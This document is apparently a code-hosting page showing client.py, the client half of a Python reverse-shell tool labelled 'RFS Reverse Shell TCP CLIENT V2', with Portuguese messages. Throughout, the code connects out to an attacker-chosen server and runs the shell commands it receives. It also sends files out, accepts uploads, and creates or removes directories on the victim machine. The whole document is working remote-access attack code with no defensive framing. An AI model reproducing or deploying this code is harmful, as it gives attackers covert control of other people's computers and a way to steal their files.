/
client.py
146 lines (122 loc) · 4.53 KB
/
client.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
import socket,subprocess,os,sys, threading,platform
def banner():
print('#######################################################################################################\n\n')
print('RFS Reverse Shell TCP CLIENT V2')
print('#######################################################################################################\n')
def download(s,path):
if os.path.exists(path):
f = open(path, 'rb')
packet = f.read(1024)
while packet != '':
s.send(packet)
packet = f.read(1024)
s.send('DONE')
f.close()
else:
s.send('Unable to find out the file')
def Cat(s,path):
if os.path.exists(path):
f = open(path,'rb')
packet = f.read(1024)
while packet != '':
s.send(packet)
packet = f.read(1024)
s.send('DONE')
f.close()
else:
s.send('Unable to find out the file')
def mandaArq(s,bits):
arq = "client_file.py"
f = open(arq,'wb')
while True:
bits = s.recv(1024)
if 'Unable to find out the file' in bits:
print ('[-] Unable to find out the file')
break
if bits.endswith('DONE'):
s.send(' Upload Completo ')
f.close()
break
f.write(bits)
def connect():
ip = raw_input("[+]Server Ip: ")
port = int(raw_input("[+]Port: "))
try:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((ip,port))
while True:
command = ""
command = s.recv(4096)
if('quit' in command):
s.close()
break
elif 'pwd' in command:
s.send(str(os.getcwd()))
elif 'shell' in command:
command = command[6:]
os.system(command)
s.send("[+]Comando %s executado com sucesso..."%command)
elif 'sys' in command:
v = " [+]Hostname: %s \n [+]System: %s \n [+]Release: %s \n [+]Machine: %s \n [+]Processor: %s "%(socket.gethostname(),platform.system(),platform.release(),platform.machine(), platform.processor())
s.send(v)
elif 'direc' in command:
s.send(str(os.listdir(os.getcwd())))
elif 'cd' in command:
dirc = command[3:]
if os.path.isdir(dirc):
os.chdir(dirc)
s.send(str(os.getcwd()))
else:
s.send('[+]Diretorio inexistente: %s'%dirc)
elif 'mkdir' in command:
dirc = command[6:]
if os.path.isdir(dirc):
command = '[+]Diretorio existente => %s'%dirc
s.send(command)
else:
os.mkdir(dirc)
s.send('[+]Diretorio %s feito com sucesso'%dirc)
elif 'upload' in command:
try:
sended = command[7:]
mandaArq(s,sended)
except Exception as e:
print("ERROR CLIENT %s" %str(e))
elif 'rmdir' in command:
dirc = command[6:]
if os.path.isdir(dirc):
os.rmdir(dirc)
s.send('[+]Diretorio %s removido com sucesso'%dirc)
else:
s.send('[-]Diretorio %s inexistente'%dirc)
elif('input' in command):
print("[server]: "+command[6:])
s.send('[client] diz: '+raw_input('[client]msg: '))
elif('cat' in command):
arq = command[4:]
Cat(s,arq)
elif 'download' in command:
path = command[len('download')+1:]
try:
download(s,path)
except Exception as e:
s.send("[-]Client error: %s"%str(e))
pass
else:
try:
cmd = subprocess.Popen(command,shell = True, stdin=subprocess.PIPE,stdout = subprocess.PIPE, stderr = subprocess.PIPE)
s.send(cmd.stdout.read())
s.send(cmd.stderr.read())
except Exception as e:
s.send("[-][Client]Erro ao enviar o comando:\n %s "%str(e))
except Exception as e:
print('[-][Client] Erro ao se conectar \n %s'%e)
def main():
server_handler = threading.Thread(target=connect, args=())
server_handler.start()
try:
banner()
main()
except:
print('[-] Erro ao abrir o client')
main()